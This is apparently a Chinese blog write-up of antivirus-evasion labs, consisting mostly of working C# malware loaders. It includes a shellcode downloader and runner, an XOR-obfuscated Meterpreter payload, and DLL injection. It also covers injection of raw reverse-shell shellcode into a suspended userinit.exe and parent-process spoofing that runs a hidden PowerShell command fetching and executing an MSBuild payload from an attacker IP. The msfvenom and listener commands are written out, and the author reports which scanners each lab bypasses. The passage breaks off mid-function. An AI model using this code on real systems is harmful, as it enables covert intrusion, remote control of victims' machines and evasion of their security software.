{

    WebClient wc = new WebClient();
    wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
    ServicePointManager.Expect100Continue = true;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

    byte[] shellcode = wc.DownloadData(url);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
    IntPtr threatHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
    WaitForSingleObject(threatHandle, 0xFFFFFFFF);

}
}

编译程序,然后msf开启监听,运行即返回session。

C:\windows\microsoft.net\framework\v4.0.30319\csc.exe 2.cs    //编译程序
handler -H 172.22.35.212 -P 8080 -p windows/x64/meterpreter/reverse_https    //msf开启监听

avatar

lab3+lab4

最后结果:360,电脑管家过。
lab4 其实就是lab3的免杀版,通过对shellcode进行xor或aes加密来实现免杀.
windows defender一直没法pass,简单的修改加密的key值也无济于事。

0x01

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080  -f csharp    //生成shellcode
handler -H 172.22.35.212 -P 8080 -p windows/x64/meterpreter/reverse_https    //监听

0x02

using System;
using System.Text;
using System.Runtime.InteropServices;


public class Program
{

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param,UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

[DllImport("kernel32")]
static extern IntPtr GetConsoleWindow();

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

private static byte[] xor(byte[] cipher, byte[] key) {
    byte[] xored = new byte[cipher.Length];

    for(int i = 0; i < cipher.Length; i++) {
        xored[i] = (byte) (cipher[i] ^ key[i % key.Length]);
    }

    return xored;
}


static void Main()
{
    string key = "ABCD";

    byte[] xorshellcode = new byte[666] { 0x9a, 0x92, 0x9a, 0x30, 0x61, 0xb5, 0xf8, 0x5c, 0x6f, 0x21, 0x69, 0x1f, 0x72, 0x8d, 0xf4, 0xe1, 0x73, 0x16, 0x5e, 0x46, 0x14, 0x58, 0xc0, 0x81, 0x41, 0xa3, 0xa8, 0xd0, 0x87, 0x86, 0x0d, 0x06, 0x91, 0xba, 0xf0, 0xb1, 0x83, 0x49, 0x5a, 0x97, 0x81, 0x00, 0x79, 0x51, 0xd5, 0xf7, 0x7b, 0x56, 0x40, 0x71, 0x18, 0x34, 0xd1, 0x2b, 0x57, 0xf8, 0x25, 0xfb, 0xeb, 0x2a, 0xe8, 0x6b, 0x83, 0xe9, 0xb6, 0xbc, 0xd8, 0x79, 0x2b, 0xbb, 0x7a, 0x42, 0x00, 0x8b, 0x11, 0x15, 0xfe, 0xd1, 0xd4, 0xa9, 0x30, 0x38, 0xbe, 0x89, 0xe0, 0x67, 0x83, 0x62, 0xeb, 0xe0, 0xea, 0x0a, 0xaa, 0xeb, 0xfa, 0x6c, 0x59, 0x9c, 0xe1, 0x14, 0xd0, 0x7f, 0xa1, 0x1d, 0x6b, 0x9e, 0x6f, 0xcb, 0x99, 0x95, 0xa2, 0xb8, 0x36, 0x88, 0x79, 0x64, 0x6d, 0xe2, 0x47, 0x62, 0x4b, 0x86, 0xa2, 0xf9, 0xba, 0x82, 0xe3, 0x44, 0xdf, 0x94, 0x91, 0x6f, 0xab, 0x4e, 0x7b, 0xd6, 0x37, 0xb1, 0xb1, 0x39, 0x98, 0x3c, 0xd7, 0x3d, 0x2a, 0x5e, 0x26, 0x12, 0xcd, 0xd0, 0x8d, 0xfb, 0xbe, 0x25, 0xff, 0xfe, 0xba, 0xa3, 0x5b, 0xfc, 0x57, 0xf0, 0xb9, 0x8d, 0xd1, 0xaf, 0x41, 0x83, 0x06, 0x01, 0x1c, 0xe2, 0x47, 0xa1, 0x94, 0xc6, 0xd2, 0x18, 0x5f, 0xcd, 0xfe, 0x40, 0xb9, 0x49, 0xe5, 0x48, 0x2c, 0xd9, 0x4c, 0x1c, 0xf8, 0xda, 0xc2, 0xa8, 0xd0, 0xf0, 0xa4, 0x68, 0x11, 0xeb, 0x74, 0x84, 0x11, 0x84, 0x60, 0xd7, 0xc8, 0x10, 0xde, 0xd5, 0xe1, 0x00, 0x98, 0x4a, 0x05, 0xbf, 0xac, 0xf0, 0xea, 0x00, 0x69, 0xe6, 0x35, 0xb6, 0x12, 0x4f, 0xa0, 0x07, 0xb1, 0x7f, 0x9f, 0x08, 0x03, 0xb3, 0x78, 0x88, 0xa7, 0x37, 0x7a, 0x09, 0xb2, 0x06, 0x15, 0x3b, 0x83, 0xf2, 0x71, 0x0c, 0x8b, 0xaf, 0xf8, 0x3e, 0xd8, 0xa9, 0xf2, 0x79, 0x66, 0x0d, 0x89, 0x69, 0x65, 0x79, 0x49, 0x23, 0x3b, 0xbe, 0x03, 0x78, 0x63, 0x4f, 0x65, 0x4d, 0xb8, 0xbf, 0xd3, 0xf1, 0xcc, 0x63, 0x67, 0xa1, 0x1a, 0xf5, 0xc0, 0x3b, 0xd8, 0x94, 0xe8, 0xc3, 0xf6, 0x6c, 0x49, 0x3e, 0x53, 0xa1, 0x2f, 0xfe, 0x1b, 0x33, 0xc2, 0xb2, 0x90, 0x3b, 0xee, 0x2e, 0x6e, 0x04, 0x78, 0xf7, 0x35, 0x0d, 0x88, 0x78, 0x82, 0x34, 0x24, 0x64, 0x53, 0x99, 0xd1, 0xa5, 0x6b, 0xac, 0x25, 0xc5, 0x5d, 0x8c, 0x02, 0xbb, 0x8a, 0x81, 0x15, 0xcb, 0x41, 0x39, 0x22, 0x53, 0xbf, 0xaf, 0xca, 0x93, 0xc5, 0x11, 0xa0, 0xc5, 0x97, 0x07, 0x64, 0x3d, 0x75, 0xb5, 0x6d, 0x18, 0x3a, 0x14, 0xeb, 0xbb, 0x83, 0xd8, 0x1c, 0xf9, 0x87, 0xa7, 0xb4, 0x5c, 0x81, 0xba, 0x1e, 0xcc, 0xa0, 0xd1, 0x61, 0x09, 0x12, 0x02, 0x2b, 0x02, 0xbf, 0x18, 0x93, 0x4d, 0xf1, 0x70, 0x0a, 0xf6, 0x5e, 0x72, 0x75, 0x6e, 0xa1, 0xc3, 0x69, 0xa7, 0xb9, 0xe4, 0xe0, 0x09, 0xf1, 0x43, 0xfb, 0xe3, 0xae, 0xd3, 0x01, 0xd1, 0xc1, 0x45, 0xdb, 0x09, 0xf9, 0xce, 0x83, 0x35, 0xc2, 0xb5, 0x51, 0xd4, 0x9c, 0x3e, 0xe1, 0x8d, 0xa6, 0x36, 0x39, 0x01, 0x6a, 0xe3, 0x8a, 0x2c, 0xa1, 0x7e, 0x4e, 0x49, 0xfe, 0xe2, 0xb6, 0x4e, 0x30, 0x16, 0xc7, 0x61, 0x67, 0xc9, 0x5d, 0x9d, 0x7b, 0xa7, 0x1b, 0x38, 0xcb, 0xcc, 0x88, 0x4a, 0x46, 0x84, 0x5b, 0x84, 0x31, 0xf7, 0x30, 0x09, 0x51, 0x1c, 0xd4, 0x91, 0xcb, 0x74, 0xec, 0x0a, 0xd9, 0x39, 0xca, 0xeb, 0x03, 0xf2, 0x46, 0xf3, 0x1c, 0xb1, 0x93, 0x6a, 0x02, 0x3b, 0xca, 0x9a, 0x69, 0x19, 0x68, 0x89, 0x26, 0xdb, 0x8f, 0xf3, 0x74, 0x12, 0xb2, 0x96, 0x2c, 0x85, 0xd9, 0x93, 0xcb, 0x15, 0x7b, 0x10, 0x9f, 0x07, 0xa2, 0xfc, 0xf9, 0x5f, 0xe1, 0x8b, 0x29, 0x2d, 0x51, 0x8e, 0xad, 0x36, 0xb6, 0xf9, 0xb9, 0xe4, 0x9b, 0x15, 0x3c, 0x5e, 0xf4, 0xf1, 0x0e, 0x07, 0xfd, 0x9e, 0x89, 0xe1, 0xab, 0xd1, 0x6a, 0xac, 0x66, 0xbf, 0x18, 0x74, 0x9d, 0x3a, 0x0c, 0xdf, 0x43, 0x4a, 0xd8, 0x46, 0x2e, 0xe7, 0x5c, 0x3f, 0xcf, 0x38, 0x52, 0x86, 0x09, 0xa0, 0x25, 0x8f, 0xa9, 0x9b, 0x9f, 0x53, 0x87, 0xcb, 0x28, 0xa1, 0x9a, 0x27, 0x19, 0x4a, 0x82, 0x66, 0xa3, 0x4a, 0x17, 0x4a, 0xe0, 0x8e, 0xa2, 0xd8, 0xab, 0xb8, 0x2b, 0x98, 0xed, 0xeb, 0xee, 0x5d, 0x1d, 0x18, 0x59, 0xf6, 0x25, 0x41, 0x8f, 0x03, 0x66, 0x77, 0xd2, 0x59, 0xe6, 0x82, 0x93, 0x82, 0xec, 0xe2, 0xd2, 0x82, 0x5f, 0x89, 0x3c, 0x72, 0x5e, 0x26, 0xfe, 0x0e, 0xbb, 0x96, 0xa8, 0xc8, 0x72, 0x21, 0x17, 0x2f, 0x5f, 0x2a, 0x88, 0x27, 0xa3, 0xfa, 0x26, 0x69, 0x35, 0x2b, 0x5c, 0x43, 0x00, 0x79, 0xf2, 0x86, 0x66, 0xfc, 0x34, 0x72, 0x83, 0xea, 0xa7, 0xaf, 0xc4, 0xe5, 0x3c, 0x73, 0x91, 0x7b, 0xe4, 0x88, 0xfb, 0xed, 0xe4, 0x5f, 0xae, 0x24 };
    byte [] shellcode;
    shellcode = xor(xorshellcode, Encoding.ASCII.GetBytes(key));

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    return;
}
}

lab5

最后结果:全过

  • lab5主要是用于利用.NET框架绕过禁用cmd和powershell的环境来执行命令。
  • 这里就只是相当于将ps1脚本打包成可执行文件,并且不通过powershell.exe执行。
  • 这里的情况是尽管程序免杀但是但是没办法过AMSI检测,但是如果过不了AMSI检测就没办法执行。
  • 免杀需要将powershell命令通过AMSI检测,索性我就直接用MSBuild白名单来绕过。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;

public class Program
{
public static void Main()
{

    PowerShell ps1 = PowerShell.Create();
    ps1.AddScript("powershell -w hidden Invoke-WebRequest -uri http://172.22.35.212/8080.xml -OutFile 8080.xml;C:/Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe 8080.xml");
    ps1.Invoke();


    PowerShell ps2 = PowerShell.Create();
    ps2.AddCommand("Get-Process");
    Collection<PSObject> PSOutput = ps2.Invoke();
    foreach (PSObject outputItem in PSOutput)
    {
        if (outputItem != null)
        {
            Console.WriteLine(outputItem);
        }
    }


}
}

正常返回session
avatar

lab6

测试结果:过360和电脑管家
lab6主要是dll注入,目前来说360和电脑管家对dll的查杀好像没那么强。
lab6的重点是将dll注入到一个已存在的进程中,使其逃避安全人员的检测。

0x01

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080  -f dll -o  ShellcodeDll.dll   //生成shellcode
handler -H 172.22.35.212 -P 8080 -p windows/x64/meterpreter/reverse_https    //监听

0x02

using System.Runtime.InteropServices;
using System.Text;


public class Program
{

[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);


const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;


const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;


public static void Main()
{
    Console.WriteLine("Listing all processes...");
    Console.WriteLine("--------------------------------------------------------------------");

    Process[] procs = Process.GetProcesses();
    foreach (Process proc in procs)
    {
        try{
            Console.WriteLine("Name:" + proc.ProcessName +" Path:" + proc.MainModule.FileName + " Id:"+ proc.Id);
        }
        catch{
            continue;
        }    
    }
    Console.WriteLine("--------------------------------------------------------------------\n");
    Console.WriteLine("Enter Process Id to inspect:");
    int val ;
    val =  Convert.ToInt32(Console.ReadLine());
    Console.WriteLine(val);
    Process proc1 = Process.GetProcessById(val);

    Console.WriteLine("Getting handle to process "+proc1.MainModule.FileName);
    IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc1.Id);
    Console.WriteLine("Got handle " + procHandle);

    string dllPath = "C:\\Users\\user\\Development\\defcon207\\lab6\\ShellcodeInjectionDll\\ShellcodeDll.dll";

    Console.WriteLine("Allocating memory in "+proc1.MainModule.FileName);
    IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    Console.WriteLine("Done.");

    Console.WriteLine("Writing to process memory");
    UIntPtr bytesWritten;
    bool resp1 = WriteProcessMemory(procHandle, memAddr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
    Console.WriteLine("Done.");

    Console.WriteLine("Calculating the address of LoadLibraryA...");
    IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    Console.WriteLine("Done.");

    Console.WriteLine("Calling CreateRemoteThread");
    CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, memAddr, 0, IntPtr.Zero);





}
}

lab7

测试结果:过360及电脑管家。
lab7主要用于启动一个进程,然后向该进程注入shellcode。
在Process Explorer中可以看到我们的的恶意代码是由一个正常的进程运行的。

PS:不会产生新的进程,也没有落地的文件,意味着安全人员的检测将会更加困难。

0x01

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080 -f csharp
handler -H 172.22.35.212 -P 8080 -p windows/x64/meterpreter/reverse_tcp

0x02

using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
public class Program
{
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
    public Int32 Length = 0;
    public IntPtr lpSecurityDescriptor = IntPtr.Zero;
    public bool bInheritHandle = false;

    public SecurityAttributes()
    {
        this.Length = Marshal.SizeOf(this);
    }
}
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public Int32 dwProcessId;
    public Int32 dwThreadId;
}
[Flags]
public enum CreateProcessFlags : uint
{
    DEBUG_PROCESS = 0x00000001,
    DEBUG_ONLY_THIS_PROCESS = 0x00000002,
    CREATE_SUSPENDED = 0x00000004,
    DETACHED_PROCESS = 0x00000008,
    CREATE_NEW_CONSOLE = 0x00000010,
    NORMAL_PRIORITY_CLASS = 0x00000020,
    IDLE_PRIORITY_CLASS = 0x00000040,
    HIGH_PRIORITY_CLASS = 0x00000080,
    REALTIME_PRIORITY_CLASS = 0x00000100,
    CREATE_NEW_PROCESS_GROUP = 0x00000200,
    CREATE_UNICODE_ENVIRONMENT = 0x00000400,
    CREATE_SEPARATE_WOW_VDM = 0x00000800,
    CREATE_SHARED_WOW_VDM = 0x00001000,
    CREATE_FORCEDOS = 0x00002000,
    BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
    ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
    INHERIT_PARENT_AFFINITY = 0x00010000,
    INHERIT_CALLER_PRIORITY = 0x00020000,
    CREATE_PROTECTED_PROCESS = 0x00040000,
    EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
    PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
    PROCESS_MODE_BACKGROUND_END = 0x00200000,
    CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
    CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
    CREATE_DEFAULT_ERROR_MODE = 0x04000000,
    CREATE_NO_WINDOW = 0x08000000,
    PROFILE_USER = 0x10000000,
    PROFILE_KERNEL = 0x20000000,
    PROFILE_SERVER = 0x40000000,
    CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}


[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
    public Int32 cb = 0;
    public IntPtr lpReserved = IntPtr.Zero;
    public IntPtr lpDesktop = IntPtr.Zero;
    public IntPtr lpTitle = IntPtr.Zero;
    public Int32 dwX = 0;
    public Int32 dwY = 0;
    public Int32 dwXSize = 0;
    public Int32 dwYSize = 0;
    public Int32 dwXCountChars = 0;
    public Int32 dwYCountChars = 0;
    public Int32 dwFillAttribute = 0;
    public Int32 dwFlags = 0;
    public Int16 wShowWindow = 0;
    public Int16 cbReserved2 = 0;
    public IntPtr lpReserved2 = IntPtr.Zero;
    public IntPtr hStdInput = IntPtr.Zero;
    public IntPtr hStdOutput = IntPtr.Zero;
    public IntPtr hStdError = IntPtr.Zero;
    public StartupInfo()
    {
        this.cb = Marshal.SizeOf(this);
    }
}
[DllImport("kernel32.dll")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags,
        IntPtr lpEnvironment,
        String lpCurrentDirectory,
        [In] StartupInfo lpStartupInfo,
        out ProcessInformation lpProcessInformation

    );

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId);


private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_COMMIT = 0x1000;

public static void Main()
{
    string binary = "userinit.exe";

    byte[] sc = new byte[679] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0x5a,0x59,0x6e,0x42,0x4a,0x64,0x36,0x62,0x67,0x52,0x63,0x69,0x33,0x67,0x55,
0x36,0x30,0x47,0x53,0x76,0x57,0x6e,0x72,0x79,0x63,0x2d,0x46,0x7a,0x31,0x53,
0x2d,0x4a,0x31,0x6c,0x76,0x55,0x77,0x2d,0x46,0x47,0x4a,0x62,0x47,0x75,0x57,
0x30,0x46,0x61,0x50,0x4c,0x49,0x4b,0x63,0x4a,0x35,0x52,0x7a,0x43,0x37,0x43,
0x5a,0x31,0x77,0x62,0x58,0x6f,0x41,0x2d,0x47,0x73,0x35,0x65,0x56,0x32,0x79,
0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,
0x32,0xa0,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,
0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x6a,0x1f,
0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,0x59,0x49, 
0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,0xc0,0x53,
0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,
0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,
0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,
0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,
0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,
0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,
0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,
0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,
0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,
0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,
0xa2,0x56,0xff,0xd5 };

    Int32 size = sc.Length;
    StartupInfo sInfo = new StartupInfo();
    sInfo.dwFlags = 0;
    ProcessInformation pInfo;
    string binaryPath = "C:\\Windows\\System32\\"+binary;    
    IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
    IntPtr hProcess = pInfo.hProcess;
    IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    int test = 0;
    IntPtr size2 = new IntPtr(sc.Length);
    bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
    CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
 }
}

0x03

一个正常进程,返回了session。
avatar
avatar

lab8

测试结果:全过。

  • lab8可以向一个已存在进程插入一个新的进程,并向这个新的进程其注入shellcode以获得反向shell。
  • 这里选择插入cmd命令,MSBuil白加黑获取shell

PS:主要由于笔者太菜,没能成功插入shellcode

0x01

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
using System.IO;
using System.Diagnostics;

namespace ExecutionTesting
{
class Program
{
    static void Main(string[] args)
    {
    Console.WriteLine("Listing all processes...");
    Console.WriteLine("-------------------------------------------`-------------------------");

    Process[] procs = Process.GetProcesses();
    foreach (Process proc in procs)
    {
        try
        {
            Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:" + proc.Id);
        }
        catch
        {
            continue;
        }
    }
        if (args.Length != 1)
        {
            Console.WriteLine("Usage: ExecutionTesting.exe <pid>");
            return;
        }

        int newParentProcId;
        if (!Int32.TryParse(args[0], out newParentProcId))
        {
            Console.WriteLine("Usage: ExecutionTesting.exe <pid>");
            return;
        }

        // Modify the below to execute something else, ping -n 15 used so we can watch in procexp ;)
        string command = "cmd.exe /c powershell -w hidden Invoke-WebRequest -uri http://172.22.35.212/8080.xml -OutFile 8080.xml;C:/Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe 8080.xml";

        Console.WriteLine(String.Format("Press enter to execute '{0}' under pid {1}", command, newParentProcId));
        Console.ReadKey();
        UnmanagedExecute.CreateProcess(newParentProcId, command);
        Console.WriteLine("Done. Press any key to exit...");
        Console.ReadKey();
    }
}

class UnmanagedExecute
{
    [DllImport("kernel32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    static extern bool CreateProcess(
        string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UpdateProcThreadAttribute(
        IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
        IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool InitializeProcThreadAttributeList(
        IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetHandleInformation(IntPtr hObject, HANDLE_FLAGS dwMask,
       HANDLE_FLAGS dwFlags);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool PeekNamedPipe(IntPtr handle,
        IntPtr buffer, IntPtr nBufferSize, IntPtr bytesRead,
        ref uint bytesAvail, IntPtr BytesLeftThisMessage);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
       IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle,
       uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern int GetConsoleOutputCP();

    [DllImport("kernel32.dll")]
    static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe,
       ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize);

    public static bool CreateProcess(int parentProcessId, string command)
    {
        // STARTUPINFOEX members
        const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;

        // STARTUPINFO members (dwFlags and wShowWindow)
        const int STARTF_USESTDHANDLES = 0x00000100;
        const int STARTF_USESHOWWINDOW = 0x00000001;
        const short SW_HIDE = 0x0000;

        // dwCreationFlags
        const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
        const uint CREATE_NO_WINDOW = 0x08000000;

        // WaitForSingleObject INFINITE
        const UInt32 INFINITE = 0xFFFFFFFF;
        var error = Marshal.GetLastWin32Error();
